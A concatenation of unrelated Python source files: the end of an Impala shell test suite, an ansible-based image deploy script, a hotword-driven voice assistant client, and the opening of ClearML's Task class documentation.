full_path = "%s/tests/shell/doesntexist.cmds" % os.environ['IMPALA_HOME']
result = run_impala_shell_interactive(vector, "source %s;" % full_path)
assert "No such file or directory" in result.stderr
def test_zero_row_fetch(self, vector):
# IMPALA-4418: DROP and USE are generally exceptional statements where
# the client does not fetch. For statements returning 0 rows we do not
# want an empty line in stdout.
result = run_impala_shell_interactive(vector, "-- foo \n use default;")
assert re.search('> \[', result.stdout)
result = run_impala_shell_interactive(vector,
"select * from functional.alltypes limit 0;")
assert "Fetched 0 row(s)" in result.stderr
assert re.search('> \[', result.stdout)
def test_set_and_set_all(self, vector):
"""IMPALA-2181. Tests the outputs of SET and SET ALL commands. SET should contain the
REGULAR and ADVANCED options only. SET ALL should contain all the options grouped by
display level."""
shell1 = ImpalaShell(vector)
shell1.send_cmd("set")
result = shell1.get_result()
assert "Query options (defaults shown in []):" in result.stdout
assert "ABORT_ON_ERROR" in result.stdout
assert "Advanced Query Options:" in result.stdout
assert "APPX_COUNT_DISTINCT" in result.stdout
assert vector.get_value("protocol") in ("hs2", "hs2-http")\
or "SUPPORT_START_OVER" in result.stdout
# Development, deprecated and removed options should not be shown.
# Note: there are currently no deprecated options
assert "Development Query Options:" not in result.stdout
assert "DEBUG_ACTION" not in result.stdout # Development option.
assert "MAX_IO_BUFFERS" not in result.stdout # Removed option.
shell2 = ImpalaShell(vector)
shell2.send_cmd("set all")
result = shell2.get_result()
assert "Query options (defaults shown in []):" in result.stdout
assert "Advanced Query Options:" in result.stdout
assert "Development Query Options:" in result.stdout
assert "Deprecated Query Options:" not in result.stdout
advanced_part_start_idx = result.stdout.find("Advanced Query Options")
development_part_start_idx = result.stdout.find("Development Query Options")
deprecated_part_start_idx = result.stdout.find("Deprecated Query Options")
advanced_part = result.stdout[advanced_part_start_idx:development_part_start_idx]
development_part = result.stdout[development_part_start_idx:deprecated_part_start_idx]
assert "ABORT_ON_ERROR" in result.stdout[:advanced_part_start_idx]
assert "APPX_COUNT_DISTINCT" in advanced_part
assert vector.get_value("protocol") in ("hs2", "hs2-http")\
or "SUPPORT_START_OVER" in advanced_part
assert "DEBUG_ACTION" in development_part
# Removed options should not be shown.
assert "MAX_IO_BUFFERS" not in result.stdout
def check_command_case_sensitivity(self, vector, command, expected):
shell = ImpalaShell(vector)
shell.send_cmd(command)
assert expected in shell.get_result().stderr
def test_unexpected_conversion_for_literal_string_to_lowercase(self, vector):
# IMPALA-4664: Impala shell can accidentally convert certain literal
# strings to lowercase. Impala shell splits each command into tokens
# and then converts the first token to lowercase to figure out how it
# should execute the command. The splitting is done by spaces only.
# Thus, if the user types a TAB after the SELECT, the first token after
# the split becomes the SELECT plus whatever comes after it.
result = run_impala_shell_interactive(vector, "select'MUST_HAVE_UPPER_STRING'")
assert re.search('MUST_HAVE_UPPER_STRING', result.stdout)
result = run_impala_shell_interactive(vector, "select\t'MUST_HAVE_UPPER_STRING'")
assert re.search('MUST_HAVE_UPPER_STRING', result.stdout)
result = run_impala_shell_interactive(vector, "select\n'MUST_HAVE_UPPER_STRING'")
assert re.search('MUST_HAVE_UPPER_STRING', result.stdout)
def test_case_sensitive_command(self, vector):
# IMPALA-2640: Make a given command case-sensitive
cwd = os.getcwd()
try:
self.check_command_case_sensitivity(vector, "sElEcT VERSION()", "Query: sElEcT")
self.check_command_case_sensitivity(vector, "sEt VaR:FoO=bOo", "Variable FOO")
self.check_command_case_sensitivity(vector, "sHoW tables", "Query: sHoW")
# Change working dir so that SOURCE command in shell_case_sensitive.cmds can
# find shell_case_sensitive2.cmds.
os.chdir("%s/tests/shell/" % os.environ['IMPALA_HOME'])
result = run_impala_shell_interactive(vector,
"sOuRcE shell_case_sensitive.cmds; SeLeCt 'second command'")
print result.stderr
assert "Query: uSe FUNCTIONAL" in result.stderr
assert "Query: ShOw TABLES" in result.stderr
assert "alltypes" in result.stdout
# This is from shell_case_sensitive2.cmds, the result of sourcing a file
# from a sourced file.
print result.stderr
assert "SeLeCt 'second command'" in result.stderr
finally:
os.chdir(cwd)
def test_line_with_leading_comment(self, vector, unique_database):
# IMPALA-2195: A line with a comment produces incorrect command.
table = "{0}.leading_comment".format(unique_database)
run_impala_shell_interactive(vector, 'create table {0} (i int);'.format(table))
result = run_impala_shell_interactive(vector, '-- comment\n'
'insert into {0} values(1);'.format(table))
assert 'Modified 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '-- comment\n'
'select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '--한글\n'
'select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* 한글 */\n'
'select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* comment */\n'
'select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* comment1 */\n'
'-- comment2\n'
'select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* comment1\n'
'comment2 */ select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* select * from {0} */ '
'select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* comment */ help use')
assert 'Executes a USE... query' in result.stdout
result = run_impala_shell_interactive(vector, '-- comment\n'
' help use;')
assert 'Executes a USE... query' in result.stdout
result = run_impala_shell_interactive(vector, '/* comment1 */\n'
'-- comment2\n'
'desc {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* comment1 */\n'
'-- comment2\n'
'help use;')
assert 'Executes a USE... query' in result.stdout
def test_line_ends_with_comment(self, vector):
# IMPALA-5269: Test lines that end with a comment.
queries = ['select 1 + 1; --comment',
'select 1 + 1 --comment\n;']
for query in queries:
result = run_impala_shell_interactive(vector, query)
assert '| 1 + 1 |' in result.stdout
assert '| 2 |' in result.stdout
queries = ['select \'some string\'; --comment',
'select \'some string\' --comment\n;']
for query in queries:
result = run_impala_shell_interactive(vector, query)
assert '| \'some string\' |' in result.stdout
assert '| some string |' in result.stdout
queries = ['select "--"; -- "--"',
'select \'--\'; -- "--"',
'select "--" -- "--"\n;',
'select \'--\' -- "--"\n;']
for query in queries:
result = run_impala_shell_interactive(vector, query)
assert '| \'--\' |' in result.stdout
assert '| -- |' in result.stdout
query = ('select * from (\n' +
'select count(*) from functional.alltypes\n' +
') v; -- Incomplete SQL statement in this line')
result = run_impala_shell_interactive(vector, query)
assert '| count(*) |' in result.stdout
query = ('select id from functional.alltypes\n' +
'order by id; /*\n' +
'* Multi-line comment\n' +
'*/')
result = run_impala_shell_interactive(vector, query)
assert '| id |' in result.stdout
def test_fix_infinite_loop(self, vector):
# IMPALA-6337: Fix infinite loop.
# In case of TL;DR:
# - see IMPALA-9362 for details
# - see tests/shell/util.py for explanation of IMPALA_SHELL_EXECUTABLE
if os.getenv("IMPALA_HOME") not in IMPALA_SHELL_EXECUTABLE:
# The fix for IMPALA-6337 involved patching our internal verison of
# sqlparse 0.1.19 in ${IMPALA_HOME}/shell/ext-py. However, when we
# create the the stand-alone python package of the impala-shell for PyPI,
# we don't include the bundled 3rd party libs -- we expect users to
# install 3rd upstream libraries from PyPI.
#
# We could try to bundle sqlparse with the PyPI package, but there we
# run into the issue that the our bundled version is not python 3
# compatible. The real fix for this would be to upgrade to sqlparse 0.3.0,
# but that's not without complications. See IMPALA-9362 for details.
#
# For the time being, what this means is that IMPALA-6337 is fixed for
# people who are running the shell locally from any host/node that's part
# of a cluster where Impala is installed, but if they are running a
# standalone version of the shell on a client outside of a cluster, then
# they will still be relying on the upstream version of sqlparse 0.1.19,
# and so they may still be affected by the IMPALA-6337.
#
pytest.skip("Test will fail if shell is not part of dev environment.")
result = run_impala_shell_interactive(vector, "select 1 + 1; \"\n;\";")
assert '| 2 |' in result.stdout
result = run_impala_shell_interactive(vector, "select '1234'\";\n;\n\";")
assert '| 1234 |' in result.stdout
result = run_impala_shell_interactive(vector, "select 1 + 1; \"\n;\"\n;")
assert '| 2 |' in result.stdout
result = run_impala_shell_interactive(vector, "select '1\\'23\\'4'\";\n;\n\";")
assert '| 1\'23\'4 |' in result.stdout
result = run_impala_shell_interactive(vector, "select '1\"23\"4'\";\n;\n\";")
assert '| 1"23"4 |' in result.stdout
def test_comment_with_quotes(self, vector):
# IMPALA-2751: Comment does not need to have matching quotes
queries = [
"select -- '\n1;",
'select -- "\n1;',
"select -- \"'\n 1;",
"select /*'\n*/ 1;",
'select /*"\n*/ 1;',
"select /*\"'\n*/ 1;",
"with a as (\nselect 1\n-- '\n) select * from a",
'with a as (\nselect 1\n-- "\n) select * from a',
"with a as (\nselect 1\n-- '\"\n) select * from a",
]
for query in queries:
result = run_impala_shell_interactive(vector, query)
assert '| 1 |' in result.stdout
def test_shell_prompt(self, vector):
shell_cmd = get_shell_cmd(vector)
proc = spawn_shell(shell_cmd)
proc.expect(":{0}] default>".format(get_impalad_port(vector)))
self._expect_with_cmd(proc, "use foo", vector, (), 'default')
self._expect_with_cmd(proc, "use functional", vector, (), 'functional')
self._expect_with_cmd(proc, "use foo", vector, (), 'functional')
self._expect_with_cmd(proc, 'use `tpch`', vector, (), 'tpch')
self._expect_with_cmd(proc, 'use ` tpch `', vector, (), 'tpch')
proc = spawn_shell(shell_cmd + ['-d', 'functional'])
proc.expect(":{0}] functional>".format(get_impalad_port(vector)))
self._expect_with_cmd(proc, "use foo", vector, (), 'functional')
self._expect_with_cmd(proc, "use tpch", vector, (), 'tpch')
self._expect_with_cmd(proc, "use foo", vector, (), 'tpch')
proc = spawn_shell(shell_cmd + ['-d', ' functional '])
proc.expect(":{0}] functional>".format(get_impalad_port(vector)))
proc = spawn_shell(shell_cmd + ['-d', '` functional `'])
proc.expect(":{0}] functional>".format(get_impalad_port(vector)))
# Start an Impala shell with an invalid DB.
proc = spawn_shell(shell_cmd + ['-d', 'foo'])
proc.expect(":{0}] default>".format(get_impalad_port(vector)))
self._expect_with_cmd(proc, "use foo", vector, (), 'default')
self._expect_with_cmd(proc, "use functional", vector, (), 'functional')
self._expect_with_cmd(proc, "use foo", vector, (), 'functional')
proc.sendeof()
proc.wait()
def test_strip_leading_comment(self, vector):
"""Test stripping leading comments from SQL statements"""
assert ('--delete\n', 'select 1') == \
ImpalaShellClass.strip_leading_comment('--delete\nselect 1')
assert ('--delete\n', 'select --do not delete\n1') == \
ImpalaShellClass.strip_leading_comment('--delete\nselect --do not delete\n1')
assert (None, 'select --do not delete\n1') == \
ImpalaShellClass.strip_leading_comment('select --do not delete\n1')
assert ('/*delete*/\n', 'select 1') == \
ImpalaShellClass.strip_leading_comment('/*delete*/\nselect 1')
assert ('/*delete\nme*/\n', 'select 1') == \
ImpalaShellClass.strip_leading_comment('/*delete\nme*/\nselect 1')
assert ('/*delete\nme*/\n', 'select 1') == \
ImpalaShellClass.strip_leading_comment('/*delete\nme*/\nselect 1')
assert ('/*delete*/', 'select 1') == \
ImpalaShellClass.strip_leading_comment('/*delete*/select 1')
assert ('/*delete*/ ', 'select /*do not delete*/ 1') == \
ImpalaShellClass.strip_leading_comment('/*delete*/ select /*do not delete*/ 1')
assert ('/*delete1*/ \n/*delete2*/ \n--delete3 \n', 'select /*do not delete*/ 1') == \
ImpalaShellClass.strip_leading_comment('/*delete1*/ \n'
'/*delete2*/ \n'
'--delete3 \n'
'select /*do not delete*/ 1')
assert (None, 'select /*do not delete*/ 1') == \
ImpalaShellClass.strip_leading_comment('select /*do not delete*/ 1')
assert ('/*delete*/\n', 'select c1 from\n'
'a\n'
'join -- +SHUFFLE\n'
'b') == \
ImpalaShellClass.strip_leading_comment('/*delete*/\n'
'select c1 from\n'
'a\n'
'join -- +SHUFFLE\n'
'b')
assert ('/*delete*/\n', 'select c1 from\n'
'a\n'
'join /* +SHUFFLE */\n'
'b') == \
ImpalaShellClass.strip_leading_comment('/*delete*/\n'
'select c1 from\n'
'a\n'
'join /* +SHUFFLE */\n'
'b')
assert (None, 'select 1') == \
ImpalaShellClass.strip_leading_comment('select 1')
def test_malformed_query(self, vector):
"""Test the handling of malformed query without closing quotation"""
shell = ImpalaShell(vector)
query = "with v as (select 1) \nselect foo('\\\\'), ('bar \n;"
shell.send_cmd(query)
result = shell.get_result()
assert "ERROR: ParseException: Unmatched string literal" in result.stderr,\
result.stderr
def test_timezone_validation(self, vector):
"""Test that query option TIMEZONE is validated when executing a query.
Query options are not sent to the coordinator immediately, so the error checking
will only happen when running a query.
"""
p = ImpalaShell(vector)
p.send_cmd('set timezone=BLA;')
p.send_cmd('select 1;')
results = p.get_result()
assert "Fetched 1 row" not in results.stderr
# assert "ERROR: Errors parsing query options" in results.stderr, results.stderr
assert "Invalid timezone name 'BLA'" in results.stderr, results.stderr
def test_with_clause(self, vector):
# IMPALA-7939: Fix issue where CTE that contains "insert", "upsert", "update", or
# "delete" is categorized as a DML statement.
for keyword in ["insert", "upsert", "update", "delete", "\\'insert\\'",
"\\'upsert\\'", "\\'update\\'", "\\'delete\\'"]:
p = ImpalaShell(vector)
cmd = ("with foo as "
"(select * from functional.alltypestiny where string_col='%s') "
"select * from foo limit 1" % keyword)
p.send_cmd(cmd)
result = p.get_result()
assert "Fetched 0 row" in result.stderr
def test_http_interactions(self, vector, http_503_server):
"""Test interactions with the http server when using hs2-http protocol.
Check that the shell prints a good message when the server returns a 503 error."""
protocol = vector.get_value("protocol")
if protocol != 'hs2-http':
pytest.skip()
# Check that we get a message about the 503 error when we try to connect.
shell_args = ["--protocol={0}".format(protocol),
"-i{0}:{1}".format(http_503_server.HOST, http_503_server.PORT)]
shell_proc = spawn_shell([IMPALA_SHELL_EXECUTABLE] + shell_args)
shell_proc.expect("HTTP code 503", timeout=10)
def run_impala_shell_interactive(vector, input_lines, shell_args=None,
wait_until_connected=True):
"""Runs a command in the Impala shell interactively."""
# if argument "input_lines" is a string, makes it into a list
if type(input_lines) is str:
input_lines = [input_lines]
# workaround to make Popen environment 'utf-8' compatible
# since piping defaults to ascii
my_env = os.environ
my_env['PYTHONIOENCODING'] = 'utf-8'
p = ImpalaShell(vector, args=shell_args, env=my_env,
wait_until_connected=wait_until_connected)
for line in input_lines:
p.send_cmd(line)
return p.get_result()
|
autohdmap_lane_deploy.py | # -*- coding: utf-8 -*-
from base.log import *
import os
from multiprocessing import Process
import redis_pool
def gen_id():
r = redis_pool.get('dornaemon')
return r.incr('deploy_id')
def do(ver, image_name, deploy_id, register_url='http://srv-10.gzproduction.com:13900/'):
log_path = 'html/deploy_logs/%d' % deploy_id
print '%s %s %s %s ' % (ver, image_name, register_url, log_path)
cmd = "ansible-playbook -i /home/op/autohdmap_deploy/production " \
"/home/op/autohdmap_deploy/autohdmap_lane.yml --tags release " \
"-e 'autohdmap_lane_ver=%s autohdmap_lane_image_name=%s autohdmap_lane_register_url=%s' >%s 2>&1" \
% (ver, image_name, register_url, log_path)
logger().info('cmd:%s', cmd)
if 0 != os.system(cmd):
msg = '[Finish] Failed to deploy [%s]' % image_name
else:
msg = '[Finish] Success to deploy [%s]' % image_name
logger().error(msg)
open(log_path, 'a').write(msg)
def start(ver, image_name):
deploy_id = gen_id()
p = Process(target=do, args=(ver, image_name, deploy_id))
p.start()
logger().info('start deploy [%s]', image_name)
return deploy_id
def status(deploy_id):
log_path = 'html/deploy_logs/%s' % deploy_id
content = open(log_path).read()
return content
def main():
deploy_id = start('999', 'op-01.gzproduction.com/library/autohdmap_lane:v4.6.8')
while True:
time.sleep(1)
#print status(deploy_id)
if __name__ == '__main__':
main()
|
main.py | # -*- coding: utf-8 -*-
"""
Onyx Project
https://onyxlabs.fr
Software under licence Creative Commons 3.0 France
http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
You may not use this software for commercial purposes.
@author :: Cassim Khouani
"""
from onyx.client.speech.assets import snowboydecoder
import onyx, importlib, wave, pyaudio, sys, os, time
from onyx.config import config
from onyx.utils import play_wav, play_mp3
from onyx.utils.log import getLogger
from onyx.client.stt import STTFactory
from onyx.client.tts import TTSFactory
import threading
from threading import Thread
from onyx.sockyx.client.ws import WebsocketClient
from onyx.sockyx.message import Message
stt = STTFactory.create()
tts = TTSFactory.create()
token = config.API_TOKEN
LOG = getLogger('SpeechClient')
import speech_recognition as sr
def handle_speak(event):
utterance = event.data.get('utterance')
tts.execute(utterance)
def connect():
ws.run_forever()
ws = WebsocketClient()
ws.on('speak', handle_speak)
event_thread = Thread(target=connect)
event_thread.setDaemon(True)
event_thread.start()
class Detector:
def __init__(self):
self.lang = config.LANG
def detected_callback(self):
def create_ws_detect():
def onConnected(event=None):
ws.emit(Message('onyx_detect'))
t.close()
ws = WebsocketClient()
ws.on('connected', onConnected)
# This will block until the client gets closed
ws.run_forever()
t = threading.Thread(target=create_ws_detect)
t.start()
self.detector.terminate()
play_wav(list(onyx.__path__)[0] + "/client/speech/resources/ding.wav")
r = sr.Recognizer()
m = sr.Microphone()
"""
for i, microphone_name in enumerate(sr.Microphone.list_microphone_names()):
if microphone_name == "MATRIXIO-SOUND: - (hw:2,0)":
m = sr.Microphone(device_index=i)
"""
try:
with m as source:
print("Say something!")
audio = r.listen(source, timeout=1, phrase_time_limit=5)
self.detector.terminate()
except:
self.detector.terminate()
time.sleep(5)
self.detector.start(self.detected_callback)
try:
result = stt.execute(audio, language=self.lang)
print("You said: " + result)
def create_ws_send():
def onConnected(event=None):
print ("Sending message...")
payload = {
'utterance': result,
'token': token
}
ws.emit(Message('onyx_recognizer:utterance', payload))
ws.emit(Message('onyx_detect_finish'))
t.close()
ws = WebsocketClient()
ws.on('connected', onConnected)
# This will block until the client gets closed
ws.run_forever()
t = threading.Thread(target=create_ws_send)
t.start()
self.detector.terminate()
time.sleep(15)
self.detector.start(self.detected_callback)
except sr.UnknownValueError:
print("Speech Recognition could not understand audio")
self.detector.terminate()
time.sleep(5)
self.detector.start(self.detected_callback)
except sr.RequestError as e:
print("Could not request results from Speech Recognition service; {0}".format(e))
self.detector.terminate()
time.sleep(5)
self.detector.start(self.detected_callback)
def start(self):
self.detector = snowboydecoder.HotwordDetector(list(onyx.__path__)[0] + "/client/speech/resources/Onyx.pmdl", sensitivity=0.5, audio_gain=1)
print('Starting...')
self.detector.start(self.detected_callback)
if __name__ == "__main__":
detector = Detector()
detector.start()
|
task.py | import atexit
import json
import os
import shutil
import signal
import sys
import threading
import time
from argparse import ArgumentParser
from logging import getLogger
from operator import attrgetter
from tempfile import mkstemp, mkdtemp
from zipfile import ZipFile, ZIP_DEFLATED
try:
# noinspection PyCompatibility
from collections.abc import Sequence as CollectionsSequence
except ImportError:
from collections import Sequence as CollectionsSequence
from typing import Optional, Union, Mapping, Sequence, Any, Dict, Iterable, TYPE_CHECKING, Callable, Tuple, List
import psutil
import six
from pathlib2 import Path
from .backend_config.defs import get_active_config_file, get_config_file
from .backend_api.services import tasks, projects
from .backend_api.session.session import (
Session, ENV_ACCESS_KEY, ENV_SECRET_KEY, ENV_HOST, ENV_WEB_HOST, ENV_FILES_HOST, )
from .backend_interface.metrics import Metrics
from .backend_interface.model import Model as BackendModel
from .backend_interface.task import Task as _Task
from .backend_interface.task.log import TaskHandler
from .backend_interface.task.development.worker import DevWorker
from .backend_interface.task.repo import ScriptInfo
from .backend_interface.task.models import TaskModels
from .backend_interface.util import get_single_result, exact_match_regex, make_message, mutually_exclusive, get_queue_id
from .binding.absl_bind import PatchAbsl
from .binding.artifacts import Artifacts, Artifact
from .binding.environ_bind import EnvironmentBind, PatchOsFork
from .binding.frameworks.fastai_bind import PatchFastai
from .binding.frameworks.lightgbm_bind import PatchLIGHTgbmModelIO
from .binding.frameworks.pytorch_bind import PatchPyTorchModelIO
from .binding.frameworks.tensorflow_bind import TensorflowBinding
from .binding.frameworks.xgboost_bind import PatchXGBoostModelIO
from .binding.frameworks.catboost_bind import PatchCatBoostModelIO
from .binding.frameworks.megengine_bind import PatchMegEngineModelIO
from .binding.joblib_bind import PatchedJoblib
from .binding.matplotlib_bind import PatchedMatplotlib
from .binding.hydra_bind import PatchHydra
from .binding.click_bind import PatchClick
from .binding.fire_bind import PatchFire
from .binding.jsonargs_bind import PatchJsonArgParse
from .binding.frameworks import WeightsFileHandler
from .config import (
config, DEV_TASK_NO_REUSE, get_is_master_node, DEBUG_SIMULATE_REMOTE_TASK, DEV_DEFAULT_OUTPUT_URI,
deferred_config, TASK_SET_ITERATION_OFFSET, )
from .config import running_remotely, get_remote_task_id
from .config.cache import SessionCache
from .debugging.log import LoggerRoot
from .errors import UsageError
from .logger import Logger
from .model import Model, InputModel, OutputModel, Framework
from .task_parameters import TaskParameters
from .utilities.config import verify_basic_value
from .binding.args import (
argparser_parseargs_called, get_argparser_last_args,
argparser_update_currenttask, )
from .utilities.dicts import ReadOnlyDict, merge_dicts
from .utilities.proxy_object import (
ProxyDictPreWrite, ProxyDictPostWrite, flatten_dictionary,
nested_from_flat_dictionary, naive_nested_from_flat_dictionary, )
from .utilities.resource_monitor import ResourceMonitor
from .utilities.seed import make_deterministic
from .utilities.lowlevel.threads import get_current_thread_id
from .utilities.process.mp import BackgroundMonitor, leave_process
from .utilities.matching import matches_any_wildcard
from .utilities.future_caller import FutureCaller
# noinspection PyProtectedMember
from .backend_interface.task.args import _Arguments
if TYPE_CHECKING:
import pandas
import numpy
from PIL import Image
class Task(_Task):
"""
The ``Task`` class is a code template for a Task object which, together with its connected experiment components,
represents the current running experiment. These connected components include hyperparameters, loggers,
configuration, label enumeration, models, and other artifacts.
The term "main execution Task" refers to the Task context for current running experiment. Python experiment scripts
can create one, and only one, main execution Task. It is a traceable, and after a script runs and ClearML stores
the Task in the **ClearML Server** (backend), it is modifiable, reproducible, executable by a worker, and you
can duplicate it for further experimentation.
The ``Task`` class and its methods allow you to create and manage experiments, as well as perform
advanced experimentation functions, such as autoML.
.. warning::
Do not construct Task objects directly. Use one of the methods listed below to create experiments or
reference existing experiments.
Do not define `CLEARML_TASK_*` and `CLEARML_PROC_*` OS environments, they are used internally
for bookkeeping between processes and agents.
For detailed information about creating Task objects, see the following methods:
- Create a new reproducible Task - :meth:`Task.init`
.. important::
In some cases, ``Task.init`` may return a Task object which is already stored in **ClearML Server** (already
initialized), instead of creating a new Task. For a detailed explanation of those cases, see the ``Task.init``
method.
- Manually create a new Task (no auto-logging will apply) - :meth:`Task.create`
- Get the current running Task - :meth:`Task.current_task`
- Get another (different) Task - :meth:`Task.get_task`
.. note::
The **ClearML** documentation often refers to a Task as, "Task (experiment)".
"Task" refers to the class in the ClearML Python Client Package, the object in your Python experiment script,
and the entity with which **ClearML Server** and **ClearML Agent** work.
"Experiment" refers to your deep learning solution, including its connected components, inputs, and outputs,
and is the experiment you can view, analyze, compare, modify, duplicate, and manage using the ClearML
**Web-App** (UI).
Therefore, a "Task" is effectively an "experiment", and "Task (experiment)" encompasses its usage throughout
the ClearML.
The exception to this Task behavior is sub-tasks (non-reproducible Tasks), which do not use the main execution
Task. Creating a sub-task always creates a new Task with a new Task ID.
"""
TaskTypes = _Task.TaskTypes
NotSet = object()
__create_protection = object()
__main_task = None # type: Optional[Task]
__exit_hook = None
__forked_proc_main_pid = None
__task_id_reuse_time_window_in_hours = deferred_config('development.task_reuse_time_window_in_hours', 24.0, float)
__detect_repo_async = deferred_config('development.vcs_repo_detect_async', False)
__default_output_uri = DEV_DEFAULT_OUTPUT_URI.get() or deferred_config('development.default_output_uri', None)
class _ConnectedParametersType(object):
argparse = "argument_parser"
dictionary = "dictionary"
task_parameters = "task_parameters"
@classmethod
def _options(cls):
return {
var for var, val in vars(cls).items()
if isinstance(val, six.string_types)
}
def __init__(self, private=None, **kwargs):
"""
.. warning::
**Do not construct Task manually!**
Please use :meth:`Task.init` or :meth:`Task.get_task`
"""
if private is not Task.__create_protection:
raise UsageError(
'Task object cannot be instantiated externally, use Task.current_task() or Task.get_task(...)')
self._repo_detect_lock = threading.RLock()
super(Task, self).__init__(**kwargs)
self._arguments = _Arguments(self)
self._logger = None
self._connected_output_model = None
self._dev_worker = None
self._connected_parameter_type = None
self._detect_repo_async_thread = None
self._resource_monitor = None
self._calling_filename = None
self._remote_functions_generated = {}
# register atexit, so that we mark the task as stopped
self._at_exit_called = False
@classmethod
def current_task(cls):
# type: () -> Task
"""
Get the current running Task (experiment). This is the main execution Task (task context) returned as a Task
object.
:return: The current running Task (experiment).
"""
# check if we have no main Task, but the main process created one.
if not cls.__main_task and cls.__get_master_id_task_id():
# initialize the Task, connect to stdout
cls.init()
# return main Task
return cls.__main_task
@classmethod
def init(
cls,
project_name=None, # type: Optional[str]
task_name=None, # type: Optional[str]
task_type=TaskTypes.training, # type: Task.TaskTypes
tags=None, # type: Optional[Sequence[str]]
reuse_last_task_id=True, # type: Union[bool, str]
continue_last_task=False, # type: Union[bool, str, int]
output_uri=None, # type: Optional[Union[str, bool]]
auto_connect_arg_parser=True, # type: Union[bool, Mapping[str, bool]]
auto_connect_frameworks=True, # type: Union[bool, Mapping[str, Union[bool, str, list]]]
auto_resource_monitoring=True, # type: bool
auto_connect_streams=True, # type: Union[bool, Mapping[str, bool]]
wait_for_task_init=True, # type: bool
):
# type: (...) -> Union[Task, FutureCaller[Task]]
"""
Creates a new Task (experiment) if:
- The Task never ran before. No Task with the same ``task_name`` and ``project_name`` is stored in
**ClearML Server**.
- The Task has run before (the same ``task_name`` and ``project_name``), and (a) it stored models and / or
artifacts, or (b) its status is Published , or (c) it is Archived.
- A new Task is forced by calling ``Task.init`` with ``reuse_last_task_id=False``.
Otherwise, the already initialized Task object for the same ``task_name`` and ``project_name`` is returned.
.. note::
To reference another Task, instead of initializing the same Task more than once, call
:meth:`Task.get_task`. For example, to "share" the same experiment in more than one script,
call ``Task.get_task``. See the ``Task.get_task`` method for an example.
For example:
The first time the following code runs, it will create a new Task. The status will be Completed.
.. code-block:: py
from clearml import Task
task = Task.init('myProject', 'myTask')
If this code runs again, it will not create a new Task. It does not store a model or artifact,
it is not Published (its status Completed) , it was not Archived, and a new Task is not forced.
If the Task is Published or Archived, and run again, it will create a new Task with a new Task ID.
The following code will create a new Task every time it runs, because it stores an artifact.
.. code-block:: py
task = Task.init('myProject', 'myOtherTask')
d = {'a': '1'}
task.upload_artifact('myArtifact', d)
:param str project_name: The name of the project in which the experiment will be created. If the project does
not exist, it is created. If ``project_name`` is ``None``, the repository name is used. (Optional)
:param str task_name: The name of Task (experiment). If ``task_name`` is ``None``, the Python experiment
script's file name is used. (Optional)
:param TaskTypes task_type: The task type.
Valid task types:
- ``TaskTypes.training`` (default)
- ``TaskTypes.testing``
- ``TaskTypes.inference``
- ``TaskTypes.data_processing``
- ``TaskTypes.application``
- ``TaskTypes.monitor``
- ``TaskTypes.controller``
- ``TaskTypes.optimizer``
- ``TaskTypes.service``
- ``TaskTypes.qc``
- ``TaskTypes.custom``
:param tags: Add a list of tags (str) to the created Task. For example: tags=['512x512', 'yolov3']
:param bool reuse_last_task_id: Force a new Task (experiment) with a previously used Task ID,
and the same project and Task name.
.. note::
If the previously executed Task has artifacts or models, it will not be reused (overwritten)
and a new Task will be created.
When a Task is reused, the previous execution outputs are deleted, including console outputs and logs.
The values are:
- ``True`` - Reuse the last Task ID. (default)
- ``False`` - Force a new Task (experiment).
- A string - You can also specify a Task ID (string) to be reused,
instead of the cached ID based on the project/name combination.
:param bool continue_last_task: Continue the execution of a previously executed Task (experiment)
.. note::
When continuing the executing of a previously executed Task,
all previous artifacts / models/ logs are intact.
New logs will continue iteration/step based on the previous-execution maximum iteration value.
For example:
The last train/loss scalar reported was iteration 100, the next report will be iteration 101.
The values are:
- ``True`` - Continue the the last Task ID.
specified explicitly by reuse_last_task_id or implicitly with the same logic as reuse_last_task_id
- ``False`` - Overwrite the execution of previous Task (default).
- A string - You can also specify a Task ID (string) to be continued.
This is equivalent to `continue_last_task=True` and `reuse_last_task_id=a_task_id_string`.
- An integer - Specify initial iteration offset (override the auto automatic last_iteration_offset)
Pass 0, to disable the automatic last_iteration_offset or specify a different initial offset
You can specify a Task ID to be used with `reuse_last_task_id='task_id_here'`
:param str output_uri: The default location for output models and other artifacts.
If True is passed, the default files_server will be used for model storage.
In the default location, ClearML creates a subfolder for the output.
The subfolder structure is the following:
<output destination name> / <project name> / <task name>.<Task ID>
The following are examples of ``output_uri`` values for the supported locations:
- A shared folder: ``/mnt/share/folder``
- S3: ``s3://bucket/folder``
- Google Cloud Storage: ``gs://bucket-name/folder``
- Azure Storage: ``azure://company.blob.core.windows.net/folder/``
- Default file server: True
.. important::
For cloud storage, you must install the **ClearML** package for your cloud storage type,
and then configure your storage credentials. For detailed information, see
`ClearML Python Client Extras <./references/clearml_extras_storage/>`_ in the "ClearML Python Client
Reference" section.
:param auto_connect_arg_parser: Automatically connect an argparse object to the Task. Supported argument
parsers packages are: argparse, click, python-fire, jsonargparse.
The values are:
- ``True`` - Automatically connect. (default)
- ``False`` - Do not automatically connect.
- A dictionary - In addition to a boolean, you can use a dictionary for fined grained control of connected
arguments. The dictionary keys are argparse variable names and the values are booleans.
The ``False`` value excludes the specified argument from the Task's parameter section.
Keys missing from the dictionary default to ``True``, you can change it to be ``False`` by adding
``*`` key as ``False`` to the dictionary.
An empty dictionary defaults to ``False``.
For example:
.. code-block:: py
auto_connect_arg_parser={'do_not_include_me': False, }
.. code-block:: py
auto_connect_arg_parser={"only_include_me": True, "*": False}
.. note::
To manually connect an argparse, use :meth:`Task.connect`.
:param auto_connect_frameworks: Automatically connect frameworks This includes patching MatplotLib, XGBoost,
scikit-learn, Keras callbacks, and TensorBoard/X to serialize plots, graphs, and the model location to
the **ClearML Server** (backend), in addition to original output destination.
